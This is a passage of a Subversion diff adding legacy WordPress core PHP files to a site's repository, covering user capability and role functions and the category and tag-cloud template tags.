+	 * @access public
+	 *
+	 * @param string $cap Capability name.
+	 * @param bool $grant Whether to grant capability to user.
+	 */
+	function add_cap( $cap, $grant = true ) {
+		$this->caps[$cap] = $grant;
+		update_usermeta( $this->ID, $this->cap_key, $this->caps );
+	}
+
+	/**
+	 * Remove capability from user.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $cap Capability name.
+	 */
+	function remove_cap( $cap ) {
+		if ( empty( $this->caps[$cap] ) ) return;
+		unset( $this->caps[$cap] );
+		update_usermeta( $this->ID, $this->cap_key, $this->caps );
+	}
+
+	/**
+	 * Remove all of the capabilities of the user.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 */
+	function remove_all_caps() {
+		global $wpdb;
+		$this->caps = array();
+		update_usermeta( $this->ID, $this->cap_key, '' );
+		update_usermeta( $this->ID, $wpdb->prefix.'user_level', '' );
+		$this->get_role_caps();
+	}
+
+	/**
+	 * Whether user has capability or role name.
+	 *
+	 * This is useful for looking up whether the user has a specific role
+	 * assigned to the user. The second optional parameter can also be used to
+	 * check for capabilities against a specfic post.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string|int $cap Capability or role name to search.
+	 * @param int $post_id Optional. Post ID to check capability against specific post.
+	 * @return bool True, if user has capability; false, if user does not have capability.
+	 */
+	function has_cap( $cap ) {
+		if ( is_numeric( $cap ) )
+			$cap = $this->translate_level_to_cap( $cap );
+
+		$args = array_slice( func_get_args(), 1 );
+		$args = array_merge( array( $cap, $this->ID ), $args );
+		$caps = call_user_func_array( 'map_meta_cap', $args );
+		// Must have ALL requested caps
+		$capabilities = apply_filters( 'user_has_cap', $this->allcaps, $caps, $args );
+		foreach ( (array) $caps as $cap ) {
+			//echo "Checking cap $cap<br />";
+			if ( empty( $capabilities[$cap] ) || !$capabilities[$cap] )
+				return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Convert numeric level to level capability name.
+	 *
+	 * Prepends 'level_' to level number.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param int $level Level number, 1 to 10.
+	 * @return string
+	 */
+	function translate_level_to_cap( $level ) {
+		return 'level_' . $level;
+	}
+
+}
+
+/**
+ * Map meta capabilities to primitive capabilities.
+ *
+ * This does not actually compare whether the user ID has the actual capability,
+ * just what the capability or capabilities are. Meta capability list value can
+ * be 'delete_user', 'edit_user', 'delete_post', 'delete_page', 'edit_post',
+ * 'edit_page', 'read_post', or 'read_page'.
+ *
+ * @since 2.0.0
+ *
+ * @param string $cap Capability name.
+ * @param int $user_id User ID.
+ * @return array Actual capabilities for meta capability.
+ */
+function map_meta_cap( $cap, $user_id ) {
+	$args = array_slice( func_get_args(), 2 );
+	$caps = array();
+
+	switch ( $cap ) {
+	case 'delete_user':
+		$caps[] = 'delete_users';
+		break;
+	case 'edit_user':
+		if ( !isset( $args[0] ) || $user_id != $args[0] ) {
+			$caps[] = 'edit_users';
+		}
+		break;
+	case 'delete_post':
+		$author_data = get_userdata( $user_id );
+		//echo "post ID: {$args[0]}<br />";
+		$post = get_post( $args[0] );
+		if ( 'page' == $post->post_type ) {
+			$args = array_merge( array( 'delete_page', $user_id ), $args );
+			return call_user_func_array( 'map_meta_cap', $args );
+		}
+		$post_author_data = get_userdata( $post->post_author );
+		//echo "current user id : $user_id, post author id: " . $post_author_data->ID . "<br />";
+		// If the user is the author...
+		if ( $user_id == $post_author_data->ID ) {
+			// If the post is published...
+			if ( 'publish' == $post->post_status )
+				$caps[] = 'delete_published_posts';
+			else
+				// If the post is draft...
+				$caps[] = 'delete_posts';
+		} else {
+			// The user is trying to edit someone else's post.
+			$caps[] = 'delete_others_posts';
+			// The post is published, extra cap required.
+			if ( 'publish' == $post->post_status )
+				$caps[] = 'delete_published_posts';
+			elseif ( 'private' == $post->post_status )
+				$caps[] = 'delete_private_posts';
+		}
+		break;
+	case 'delete_page':
+		$author_data = get_userdata( $user_id );
+		//echo "post ID: {$args[0]}<br />";
+		$page = get_page( $args[0] );
+		$page_author_data = get_userdata( $page->post_author );
+		//echo "current user id : $user_id, page author id: " . $page_author_data->ID . "<br />";
+		// If the user is the author...
+		if ( $user_id == $page_author_data->ID ) {
+			// If the page is published...
+			if ( $page->post_status == 'publish' )
+				$caps[] = 'delete_published_pages';
+			else
+				// If the page is draft...
+				$caps[] = 'delete_pages';
+		} else {
+			// The user is trying to edit someone else's page.
+			$caps[] = 'delete_others_pages';
+			// The page is published, extra cap required.
+			if ( $page->post_status == 'publish' )
+				$caps[] = 'delete_published_pages';
+			elseif ( $page->post_status == 'private' )
+				$caps[] = 'delete_private_pages';
+		}
+		break;
+		// edit_post breaks down to edit_posts, edit_published_posts, or
+		// edit_others_posts
+	case 'edit_post':
+		$author_data = get_userdata( $user_id );
+		//echo "post ID: {$args[0]}<br />";
+		$post = get_post( $args[0] );
+		if ( 'page' == $post->post_type ) {
+			$args = array_merge( array( 'edit_page', $user_id ), $args );
+			return call_user_func_array( 'map_meta_cap', $args );
+		}
+		$post_author_data = get_userdata( $post->post_author );
+		//echo "current user id : $user_id, post author id: " . $post_author_data->ID . "<br />";
+		// If the user is the author...
+		if ( $user_id == $post_author_data->ID ) {
+			// If the post is published...
+			if ( 'publish' == $post->post_status )
+				$caps[] = 'edit_published_posts';
+			else
+				// If the post is draft...
+				$caps[] = 'edit_posts';
+		} else {
+			// The user is trying to edit someone else's post.
+			$caps[] = 'edit_others_posts';
+			// The post is published, extra cap required.
+			if ( 'publish' == $post->post_status )
+				$caps[] = 'edit_published_posts';
+			elseif ( 'private' == $post->post_status )
+				$caps[] = 'edit_private_posts';
+		}
+		break;
+	case 'edit_page':
+		$author_data = get_userdata( $user_id );
+		//echo "post ID: {$args[0]}<br />";
+		$page = get_page( $args[0] );
+		$page_author_data = get_userdata( $page->post_author );
+		//echo "current user id : $user_id, page author id: " . $page_author_data->ID . "<br />";
+		// If the user is the author...
+		if ( $user_id == $page_author_data->ID ) {
+			// If the page is published...
+			if ( 'publish' == $page->post_status )
+				$caps[] = 'edit_published_pages';
+			else
+				// If the page is draft...
+				$caps[] = 'edit_pages';
+		} else {
+			// The user is trying to edit someone else's page.
+			$caps[] = 'edit_others_pages';
+			// The page is published, extra cap required.
+			if ( 'publish' == $page->post_status )
+				$caps[] = 'edit_published_pages';
+			elseif ( 'private' == $page->post_status )
+				$caps[] = 'edit_private_pages';
+		}
+		break;
+	case 'read_post':
+		$post = get_post( $args[0] );
+		if ( 'page' == $post->post_type ) {
+			$args = array_merge( array( 'read_page', $user_id ), $args );
+			return call_user_func_array( 'map_meta_cap', $args );
+		}
+
+		if ( 'private' != $post->post_status ) {
+			$caps[] = 'read';
+			break;
+		}
+
+		$author_data = get_userdata( $user_id );
+		$post_author_data = get_userdata( $post->post_author );
+		if ( $user_id == $post_author_data->ID )
+			$caps[] = 'read';
+		else
+			$caps[] = 'read_private_posts';
+		break;
+	case 'read_page':
+		$page = get_page( $args[0] );
+
+		if ( 'private' != $page->post_status ) {
+			$caps[] = 'read';
+			break;
+		}
+
+		$author_data = get_userdata( $user_id );
+		$page_author_data = get_userdata( $page->post_author );
+		if ( $user_id == $page_author_data->ID )
+			$caps[] = 'read';
+		else
+			$caps[] = 'read_private_pages';
+		break;
+	default:
+		// If no meta caps match, return the original cap.
+		$caps[] = $cap;
+	}
+
+	return apply_filters('map_meta_cap', $caps, $cap, $user_id, $args);
+}
+
+/**
+ * Whether current user has capability or role.
+ *
+ * @since 2.0.0
+ *
+ * @param string $capability Capability or role name.
+ * @return bool
+ */
+function current_user_can( $capability ) {
+	$current_user = wp_get_current_user();
+
+	if ( empty( $current_user ) )
+		return false;
+
+	$args = array_slice( func_get_args(), 1 );
+	$args = array_merge( array( $capability ), $args );
+
+	return call_user_func_array( array( &$current_user, 'has_cap' ), $args );
+}
+
+/**
+ * Retrieve role object.
+ *
+ * @see WP_Roles::get_role() Uses method to retrieve role object.
+ * @since 2.0.0
+ *
+ * @param string $role Role name.
+ * @return object
+ */
+function get_role( $role ) {
+	global $wp_roles;
+
+	if ( ! isset( $wp_roles ) )
+		$wp_roles = new WP_Roles();
+
+	return $wp_roles->get_role( $role );
+}
+
+/**
+ * Add role, if it does not exist.
+ *
+ * @see WP_Roles::add_role() Uses method to add role.
+ * @since 2.0.0
+ *
+ * @param string $role Role name.
+ * @param string $display_name Display name for role.
+ * @param array $capabilities List of capabilities.
+ * @return null|WP_Role WP_Role object if role is added, null if already exists.
+ */
+function add_role( $role, $display_name, $capabilities = array() ) {
+	global $wp_roles;
+
+	if ( ! isset( $wp_roles ) )
+		$wp_roles = new WP_Roles();
+
+	return $wp_roles->add_role( $role, $display_name, $capabilities );
+}
+
+/**
+ * Remove role, if it exists.
+ *
+ * @see WP_Roles::remove_role() Uses method to remove role.
+ * @since 2.0.0
+ *
+ * @param string $role Role name.
+ * @return null
+ */
+function remove_role( $role ) {
+	global $wp_roles;
+
+	if ( ! isset( $wp_roles ) )
+		$wp_roles = new WP_Roles();
+
+	return $wp_roles->remove_role( $role );
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/category-template.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/category-template.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/category-template.php	(revision 44)
@@ -0,0 +1,956 @@
+<?php
+/**
+ * Category Template Tags and API.
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Retrieve category link URL.
+ *
+ * @since 1.0.0
+ * @uses apply_filters() Calls 'category_link' filter on category link and category ID.
+ *
+ * @param int $category_id Category ID.
+ * @return string
+ */
+function get_category_link( $category_id ) {
+	global $wp_rewrite;
+	$catlink = $wp_rewrite->get_category_permastruct();
+
+	if ( empty( $catlink ) ) {
+		$file = get_option( 'home' ) . '/';
+		$catlink = $file . '?cat=' . $category_id;
+	} else {
+		$category = &get_category( $category_id );
+		if ( is_wp_error( $category ) )
+			return $category;
+		$category_nicename = $category->slug;
+
+		if ( $category->parent == $category_id ) // recursive recursion
+			$category->parent = 0;
+		elseif ($category->parent != 0 )
+			$category_nicename = get_category_parents( $category->parent, false, '/', true ) . $category_nicename;
+
+		$catlink = str_replace( '%category%', $category_nicename, $catlink );
+		$catlink = get_option( 'home' ) . user_trailingslashit( $catlink, 'category' );
+	}
+	return apply_filters( 'category_link', $catlink, $category_id );
+}
+
+/**
+ * Retrieve category parents with separator.
+ *
+ * @since 1.2.0
+ *
+ * @param int $id Category ID.
+ * @param bool $link Optional, default is false. Whether to format with link.
+ * @param string $separator Optional, default is '/'. How to separate categories.
+ * @param bool $nicename Optional, default is false. Whether to use nice name for display.
+ * @param array $visited Optional. Already linked to categories to prevent duplicates.
+ * @return string
+ */
+function get_category_parents( $id, $link = false, $separator = '/', $nicename = false, $visited = array() ) {
+	$chain = '';
+	$parent = &get_category( $id );
+	if ( is_wp_error( $parent ) )
+		return $parent;
+
+	if ( $nicename )
+		$name = $parent->slug;
+	else
+		$name = $parent->cat_name;
+
+	if ( $parent->parent && ( $parent->parent != $parent->term_id ) && !in_array( $parent->parent, $visited ) ) {
+		$visited[] = $parent->parent;
+		$chain .= get_category_parents( $parent->parent, $link, $separator, $nicename, $visited );
+	}
+
+	if ( $link )
+		$chain .= '<a href="' . get_category_link( $parent->term_id ) . '" title="' . sprintf( __( "View all posts in %s" ), $parent->cat_name ) . '">'.$name.'</a>' . $separator;
+	else
+		$chain .= $name.$separator;
+	return $chain;
+}
+
+/**
+ * Retrieve post categories.
+ *
+ * @since 0.71
+ * @uses $post
+ *
+ * @param int $id Optional, default to current post ID. The post ID.
+ * @return array
+ */
+function get_the_category( $id = false ) {
+	global $post;
+
+	$id = (int) $id;
+	if ( !$id )
+		$id = (int) $post->ID;
+
+	$categories = get_object_term_cache( $id, 'category' );
+	if ( false === $categories ) {
+		$categories = wp_get_object_terms( $id, 'category' );
+		wp_cache_add($id, $categories, 'category_relationships');
+	}
+
+	if ( !empty( $categories ) )
+		usort( $categories, '_usort_terms_by_name' );
+	else
+		$categories = array();
+
+	foreach ( (array) array_keys( $categories ) as $key ) {
+		_make_cat_compat( $categories[$key] );
+	}
+
+	return $categories;
+}
+
+/**
+ * Sort categories by name.
+ *
+ * Used by usort() as a callback, should not be used directly. Can actually be
+ * used to sort any term object.
+ *
+ * @since 2.3.0
+ * @access private
+ *
+ * @param object $a
+ * @param object $b
+ * @return int
+ */
+function _usort_terms_by_name( $a, $b ) {
+	return strcmp( $a->name, $b->name );
+}
+
+/**
+ * Sort categories by ID.
+ *
+ * Used by usort() as a callback, should not be used directly. Can actually be
+ * used to sort any term object.
+ *
+ * @since 2.3.0
+ * @access private
+ *
+ * @param object $a
+ * @param object $b
+ * @return int
+ */
+function _usort_terms_by_ID( $a, $b ) {
+	if ( $a->term_id > $b->term_id )
+		return 1;
+	elseif ( $a->term_id < $b->term_id )
+		return -1;
+	else
+		return 0;
+}
+
+/**
+ * Retrieve category name based on category ID.
+ *
+ * @since 0.71
+ *
+ * @param int $cat_ID Category ID.
+ * @return string Category name.
+ */
+function get_the_category_by_ID( $cat_ID ) {
+	$cat_ID = (int) $cat_ID;
+	$category = &get_category( $cat_ID );
+	if ( is_wp_error( $category ) )
+		return $category;
+	return $category->name;
+}
+
+/**
+ * Retrieve category list in either HTML list or custom format.
+ *
+ * @since 1.5.1
+ *
+ * @param string $separator Optional, default is empty string. Separator for between the categories.
+ * @param string $parents Optional. How to display the parents.
+ * @param int $post_id Optional. Post ID to retrieve categories.
+ * @return string
+ */
+function get_the_category_list( $separator = '', $parents='', $post_id = false ) {
+	global $wp_rewrite;
+	$categories = get_the_category( $post_id );
+	if ( empty( $categories ) )
+		return apply_filters( 'the_category', __( 'Uncategorized' ), $separator, $parents );
+
+	$rel = ( is_object( $wp_rewrite ) && $wp_rewrite->using_permalinks() ) ? 'rel="category tag"' : 'rel="category"';
+
+	$thelist = '';
+	if ( '' == $separator ) {
+		$thelist .= '<ul class="post-categories">';
+		foreach ( $categories as $category ) {
+			$thelist .= "\n\t<li>";
+			switch ( strtolower( $parents ) ) {
+				case 'multiple':
+					if ( $category->parent )
+						$thelist .= get_category_parents( $category->parent, true, $separator );
+					$thelist .= '<a href="' . get_category_link( $category->term_id ) . '" title="' . sprintf( __( "View all posts in %s" ), $category->name ) . '" ' . $rel . '>' . $category->name.'</a></li>';
+					break;
+				case 'single':
+					$thelist .= '<a href="' . get_category_link( $category->term_id ) . '" title="' . sprintf( __( "View all posts in %s" ), $category->name ) . '" ' . $rel . '>';
+					if ( $category->parent )
+						$thelist .= get_category_parents( $category->parent, false, $separator );
+					$thelist .= $category->name.'</a></li>';
+					break;
+				case '':
+				default:
+					$thelist .= '<a href="' . get_category_link( $category->term_id ) . '" title="' . sprintf( __( "View all posts in %s" ), $category->name ) . '" ' . $rel . '>' . $category->cat_name.'</a></li>';
+			}
+		}
+		$thelist .= '</ul>';
+	} else {
+		$i = 0;
+		foreach ( $categories as $category ) {
+			if ( 0 < $i )
+				$thelist .= $separator . ' ';
+			switch ( strtolower( $parents ) ) {
+				case 'multiple':
+					if ( $category->parent )
+						$thelist .= get_category_parents( $category->parent, true, $separator );
+					$thelist .= '<a href="' . get_category_link( $category->term_id ) . '" title="' . sprintf( __( "View all posts in %s" ), $category->name ) . '" ' . $rel . '>' . $category->cat_name.'</a>';
+					break;
+				case 'single':
+					$thelist .= '<a href="' . get_category_link( $category->term_id ) . '" title="' . sprintf( __( "View all posts in %s" ), $category->name ) . '" ' . $rel . '>';
+					if ( $category->parent )
+						$thelist .= get_category_parents( $category->parent, false, $separator );
+					$thelist .= "$category->cat_name</a>";
+					break;
+				case '':
+				default:
+					$thelist .= '<a href="' . get_category_link( $category->term_id ) . '" title="' . sprintf( __( "View all posts in %s" ), $category->name ) . '" ' . $rel . '>' . $category->name.'</a>';
+			}
+			++$i;
+		}
+	}
+	return apply_filters( 'the_category', $thelist, $separator, $parents );
+}
+
+
+/**
+ * Check if the current post in within any of the given categories.
+ *
+ * The given categories are checked against the post's categories' term_ids, names and slugs.
+ * Categories given as integers will only be checked against the post's categories' term_ids.
+ *
+ * Prior to v2.5 of WordPress, category names were not supported.
+ * Prior to v2.7, category slugs were not supported.
+ * Prior to v2.7, only one category could be compared: in_category( $single_category ).
+ * Prior to v2.7, this function could only be used in the WordPress Loop.
+ * As of 2.7, the function can be used anywhere if it is provided a post ID or post object.
+ *
+ * @since 1.2.0
+ *
+ * @uses is_object_in_term()
+ *
+ * @param int|string|array $category. Category ID, name or slug, or array of said.
+ * @param int|post object Optional.  Post to check instead of the current post. @since 2.7.0
+ * @return bool True if the current post is in any of the given categories.
+ */
+function in_category( $category, $_post = null ) {
+	if ( empty( $category ) )
+		return false;
+
+	if ( $_post ) {
+		$_post = get_post( $_post );
+	} else {
+		$_post =& $GLOBALS['post'];
+	}
+
+	if ( !$_post )
+		return false;
+
+	$r = is_object_in_term( $_post->ID, 'category', $category );
+	if ( is_wp_error( $r ) )
+		return false;
+	return $r;
+}
+
+/**
+ * Display the category list for the post.
+ *
+ * @since 0.71
+ *
+ * @param string $separator Optional, default is empty string. Separator for between the categories.
+ * @param string $parents Optional. How to display the parents.
+ * @param int $post_id Optional. Post ID to retrieve categories.
+ */
+function the_category( $separator = '', $parents='', $post_id = false ) {
+	echo get_the_category_list( $separator, $parents, $post_id );
+}
+
+/**
+ * Retrieve category description.
+ *
+ * @since 1.0.0
+ *
+ * @param int $category Optional. Category ID. Will use global category ID by default.
+ * @return string Category description, available.
+ */
+function category_description( $category = 0 ) {
+	return term_description( $category, 'category' );
+}
+
+/**
+ * Display or retrieve the HTML dropdown list of categories.
+ *
+ * The list of arguments is below:
+ *     'show_option_all' (string) - Text to display for showing all categories.
+ *     'show_option_none' (string) - Text to display for showing no categories.
+ *     'orderby' (string) default is 'ID' - What column to use for ordering the
+ * categories.
+ *     'order' (string) default is 'ASC' - What direction to order categories.
+ *     'show_last_update' (bool|int) default is 0 - See {@link get_categories()}
+ *     'show_count' (bool|int) default is 0 - Whether to show how many posts are
+ * in the category.
+ *     'hide_empty' (bool|int) default is 1 - Whether to hide categories that
+ * don't have any posts attached to them.
+ *     'child_of' (int) default is 0 - See {@link get_categories()}.
+ *     'exclude' (string) - See {@link get_categories()}.
+ *     'echo' (bool|int) default is 1 - Whether to display or retrieve content.
+ *     'depth' (int) - The max depth.
+ *     'tab_index' (int) - Tab index for select element.
+ *     'name' (string) - The name attribute value for selected element.
+ *     'class' (string) - The class attribute value for selected element.
+ *     'selected' (int) - Which category ID is selected.
+ *
+ * The 'hierarchical' argument, which is disabled by default, will override the
+ * depth argument, unless it is true. When the argument is false, it will
+ * display all of the categories. When it is enabled it will use the value in
+ * the 'depth' argument.
+ *
+ * @since 2.1.0
+ *
+ * @param string|array $args Optional. Override default arguments.
+ * @return string HTML content only if 'echo' argument is 0.
+ */
+function wp_dropdown_categories( $args = '' ) {
+	$defaults = array(
+		'show_option_all' => '', 'show_option_none' => '',
+		'orderby' => 'id', 'order' => 'ASC',
+		'show_last_update' => 0, 'show_count' => 0,
+		'hide_empty' => 1, 'child_of' => 0,
+		'exclude' => '', 'echo' => 1,
+		'selected' => 0, 'hierarchical' => 0,
+		'name' => 'cat', 'class' => 'postform',
+		'depth' => 0, 'tab_index' => 0
+	);
+
+	$defaults['selected'] = ( is_category() ) ? get_query_var( 'cat' ) : 0;
+
+	$r = wp_parse_args( $args, $defaults );
+	$r['include_last_update_time'] = $r['show_last_update'];
+	extract( $r );
+
+	$tab_index_attribute = '';
+	if ( (int) $tab_index > 0 )
+		$tab_index_attribute = " tabindex=\"$tab_index\"";
+
+	$categories = get_categories( $r );
+
+	$output = '';
+	if ( ! empty( $categories ) ) {
+		$output = "<select name='$name' id='$name' class='$class' $tab_index_attribute>\n";
+
+		if ( $show_option_all ) {
+			$show_option_all = apply_filters( 'list_cats', $show_option_all );
+			$selected = ( '0' === strval($r['selected']) ) ? " selected='selected'" : '';
+			$output .= "\t<option value='0'$selected>$show_option_all</option>\n";
+		}
+
+		if ( $show_option_none ) {
+			$show_option_none = apply_filters( 'list_cats', $show_option_none );
+			$selected = ( '-1' === strval($r['selected']) ) ? " selected='selected'" : '';
+			$output .= "\t<option value='-1'$selected>$show_option_none</option>\n";
+		}
+
+		if ( $hierarchical )
+			$depth = $r['depth'];  // Walk the full depth.
+		else
+			$depth = -1; // Flat.
+
+		$output .= walk_category_dropdown_tree( $categories, $depth, $r );
+		$output .= "</select>\n";
+	}
+
+	$output = apply_filters( 'wp_dropdown_cats', $output );
+
+	if ( $echo )
+		echo $output;
+
+	return $output;
+}
+
+/**
+ * Display or retrieve the HTML list of categories.
+ *
+ * The list of arguments is below:
+ *     'show_option_all' (string) - Text to display for showing all categories.
+ *     'orderby' (string) default is 'ID' - What column to use for ordering the
+ * categories.
+ *     'order' (string) default is 'ASC' - What direction to order categories.
+ *     'show_last_update' (bool|int) default is 0 - See {@link
+ * walk_category_dropdown_tree()}
+ *     'show_count' (bool|int) default is 0 - Whether to show how many posts are
+ * in the category.
+ *     'hide_empty' (bool|int) default is 1 - Whether to hide categories that
+ * don't have any posts attached to them.
+ *     'use_desc_for_title' (bool|int) default is 1 - Whether to use the
+ * description instead of the category title.
+ *     'feed' - See {@link get_categories()}.
+ *     'feed_type' - See {@link get_categories()}.
+ *     'feed_image' - See {@link get_categories()}.
+ *     'child_of' (int) default is 0 - See {@link get_categories()}.
+ *     'exclude' (string) - See {@link get_categories()}.
+ *     'exclude_tree' (string) - See {@link get_categories()}.
+ *     'echo' (bool|int) default is 1 - Whether to display or retrieve content.
+ *     'current_category' (int) - See {@link get_categories()}.
+ *     'hierarchical' (bool) - See {@link get_categories()}.
+ *     'title_li' (string) - See {@link get_categories()}.
+ *     'depth' (int) - The max depth.
+ *
+ * @since 2.1.0
+ *
+ * @param string|array $args Optional. Override default arguments.
+ * @return string HTML content only if 'echo' argument is 0.
+ */
+function wp_list_categories( $args = '' ) {
+	$defaults = array(
+		'show_option_all' => '', 'orderby' => 'name',
+		'order' => 'ASC', 'show_last_update' => 0,
+		'style' => 'list', 'show_count' => 0,
+		'hide_empty' => 1, 'use_desc_for_title' => 1,
+		'child_of' => 0, 'feed' => '', 'feed_type' => '',
+		'feed_image' => '', 'exclude' => '', 'exclude_tree' => '', 'current_category' => 0,
+		'hierarchical' => true, 'title_li' => __( 'Categories' ),
+		'echo' => 1, 'depth' => 0
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	if ( !isset( $r['pad_counts'] ) && $r['show_count'] && $r['hierarchical'] ) {
+		$r['pad_counts'] = true;
+	}
+
+	if ( isset( $r['show_date'] ) ) {
+		$r['include_last_update_time'] = $r['show_date'];
+	}
+
+	if ( true == $r['hierarchical'] ) {
+		$r['exclude_tree'] = $r['exclude'];
+		$r['exclude'] = '';
+	}
+
+	extract( $r );
+
+	$categories = get_categories( $r );
+
+	$output = '';
+	if ( $title_li && 'list' == $style )
+			$output = '<li class="categories">' . $r['title_li'] . '<ul>';
+
+	if ( empty( $categories ) ) {
+		if ( 'list' == $style )
+			$output .= '<li>' . __( "No categories" ) . '</li>';
+		else
+			$output .= __( "No categories" );
+	} else {
+		global $wp_query;
+
+		if( !empty( $show_option_all ) )
+			if ( 'list' == $style )
+				$output .= '<li><a href="' .  get_bloginfo( 'url' )  . '">' . $show_option_all . '</a></li>';
+			else
+				$output .= '<a href="' .  get_bloginfo( 'url' )  . '">' . $show_option_all . '</a>';
+
+		if ( empty( $r['current_category'] ) && is_category() )
+			$r['current_category'] = $wp_query->get_queried_object_id();
+
+		if ( $hierarchical )
+			$depth = $r['depth'];
+		else
+			$depth = -1; // Flat.
+
+		$output .= walk_category_tree( $categories, $depth, $r );
+	}
+
+	if ( $title_li && 'list' == $style )
+		$output .= '</ul></li>';
+
+	$output = apply_filters( 'wp_list_categories', $output );
+
+	if ( $echo )
+		echo $output;
+	else
+		return $output;
+}
+
+/**
+ * Display tag cloud.
+ *
+ * The text size is set by the 'smallest' and 'largest' arguments, which will
+ * use the 'unit' argument value for the CSS text size unit. The 'format'
+ * argument can be 'flat' (default), 'list', or 'array'. The flat value for the
+ * 'format' argument will separate tags with spaces. The list value for the
+ * 'format' argument will format the tags in a UL HTML list. The array value for
+ * the 'format' argument will return in PHP array type format.
+ *
+ * The 'orderby' argument will accept 'name' or 'count' and defaults to 'name'.
+ * The 'order' is the direction to sort, defaults to 'ASC' and can be 'DESC'.
+ *
+ * The 'number' argument is how many tags to return. By default, the limit will
+ * be to return the top 45 tags in the tag cloud list.
+ *
+ * The 'topic_count_text_callback' argument is a function, which, given the count
+ * of the posts  with that tag, returns a text for the tooltip of the tag link.
+ *
+ * The 'exclude' and 'include' arguments are used for the {@link get_tags()}
+ * function. Only one should be used, because only one will be used and the
+ * other ignored, if they are both set.
+ *
+ * @since 2.3.0
+ *
+ * @param array|string $args Optional. Override default arguments.
+ * @return array Generated tag cloud, only if no failures and 'array' is set for the 'format' argument.
+ */
+function wp_tag_cloud( $args = '' ) {
+	$defaults = array(
+		'smallest' => 8, 'largest' => 22, 'unit' => 'pt', 'number' => 45,
+		'format' => 'flat', 'orderby' => 'name', 'order' => 'ASC',
+		'exclude' => '', 'include' => '', 'link' => 'view', 'taxonomy' => 'post_tag', 'echo' => true
+	);
+	$args = wp_parse_args( $args, $defaults );
+
+	$tags = get_terms( $args['taxonomy'], array_merge( $args, array( 'orderby' => 'count', 'order' => 'DESC' ) ) ); // Always query top tags
+
+	if ( empty( $tags ) )
+		return;
+
+	foreach ( $tags as $key => $tag ) {
+		if ( 'edit' == $args['link'] )
+			$link = get_edit_tag_link( $tag->term_id, $args['taxonomy'] );
+		else
+			$link = get_term_link( intval($tag->term_id), $args['taxonomy'] );
+		if ( is_wp_error( $link ) )
+			return false;
+
+		$tags[ $key ]->link = $link;
+		$tags[ $key ]->id = $tag->term_id;
+	}
+
+	$return = wp_generate_tag_cloud( $tags, $args ); // Here's where those top tags get sorted according to $args
+
+	$return = apply_filters( 'wp_tag_cloud', $return, $args );
+
+	if ( 'array' == $args['format'] || empty($args['echo']) )
+		return $return;
+
+	echo $return;
+}
+
+/**
+ * Default text for tooltip for tag links
+ *
+ * @param integer $count number of posts with that tag
+ * @return string text for the tooltip of a tag link.
+ */
+function default_topic_count_text( $count ) {
+	return sprintf( _n('%s topic', '%s topics', $count), number_format_i18n( $count ) );
+}
+
+/**
+ * Generates a tag cloud (heatmap) from provided data.
+ *
+ * The text size is set by the 'smallest' and 'largest' arguments, which will
+ * use the 'unit' argument value for the CSS text size unit. The 'format'
+ * argument can be 'flat' (default), 'list', or 'array'. The flat value for the
+ * 'format' argument will separate tags with spaces. The list value for the
+ * 'format' argument will format the tags in a UL HTML list. The array value for
+ * the 'format' argument will return in PHP array type format.
+ *
+ * The 'tag_cloud_sort' filter allows you to override the sorting done
+ * by the 'orderby' argument; passed to the filter: $tags array and $args array.
+ *
+ * The 'orderby' argument will accept 'name' or 'count' and defaults to 'name'.
+ * The 'order' is the direction to sort, defaults to 'ASC' and can be 'DESC' or
+ * 'RAND'.
+ *
+ * The 'number' argument is how many tags to return. By default, the limit will
+ * be to return the entire tag cloud list.
+ *
+ * The 'topic_count_text_callback' argument is a function, which given the count
+ * of the posts  with that tag returns a text for the tooltip of the tag link.
+ *
+ * @todo Complete functionality.
+ * @since 2.3.0
+ *
+ * @param array $tags List of tags.
+ * @param string|array $args Optional, override default arguments.
+ * @return string
+ */
+function wp_generate_tag_cloud( $tags, $args = '' ) {
+	global $wp_rewrite;
+	$defaults = array(
+		'smallest' => 8, 'largest' => 22, 'unit' => 'pt', 'number' => 0,
+		'format' => 'flat', 'orderby' => 'name', 'order' => 'ASC',
+		'topic_count_text_callback' => 'default_topic_count_text',
+		'filter' => 1,
+	);
+
+	if ( !isset( $args['topic_count_text_callback'] ) && isset( $args['single_text'] ) && isset( $args['multiple_text'] ) ) {
+		$body = 'return sprintf (
+			_n('.var_export($args['single_text'], true).', '.var_export($args['multiple_text'], true).', $count),
+			number_format_i18n( $count ));';
+		$args['topic_count_text_callback'] = create_function('$count', $body);
+	}
+
+	$args = wp_parse_args( $args, $defaults );
+
+	extract( $args );
+
+	if ( empty( $tags ) )
+		return;
+
+	// SQL cannot save you; this is a second (potentially different) sort on a subset of data.
+	if ( 'name' == $orderby )
+		uasort( $tags, create_function('$a, $b', 'return strnatcasecmp($a->name, $b->name);') );
+	else
+		uasort( $tags, create_function('$a, $b', 'return ($a->count > $b->count);') );
+
+        $tags = apply_filters( 'tag_cloud_sort', $tags, $args );
+
+	if ( 'DESC' == $order )
+		$tags = array_reverse( $tags, true );
+	elseif ( 'RAND' == $order ) {
+		$keys = (array) array_rand( $tags, count( $tags ) );
+		$temp = array();
+		foreach ( $keys as $key )
+			$temp[$key] = $tags[$key];
+
+		$tags = $temp;
+		$temp = null;
+		unset( $temp );
+	}
+
+	if ( $number > 0 )
+		$tags = array_slice($tags, 0, $number);
+
+	$counts = array();
+	foreach ( (array) $tags as $key => $tag )
+		$counts[ $key ] = $tag->count;
+
+	$min_count = min( $counts );
+	$spread = max( $counts ) - $min_count;
+	if ( $spread <= 0 )
+		$spread = 1;
+	$font_spread = $largest - $smallest;
+	if ( $font_spread < 0 )
+		$font_spread = 1;
+	$font_step = $font_spread / $spread;
+
+	$a = array();
+
+	$rel = ( is_object( $wp_rewrite ) && $wp_rewrite->using_permalinks() ) ? ' rel="tag"' : '';
+
+	foreach ( $tags as $key => $tag ) {
+		$count = $counts[ $key ];
+		$tag_link = '#' != $tag->link ? esc_url( $tag->link ) : '#';
+		$tag_id = isset($tags[ $key ]->id) ? $tags[ $key ]->id : $key;
+		$tag_name = $tags[ $key ]->name;
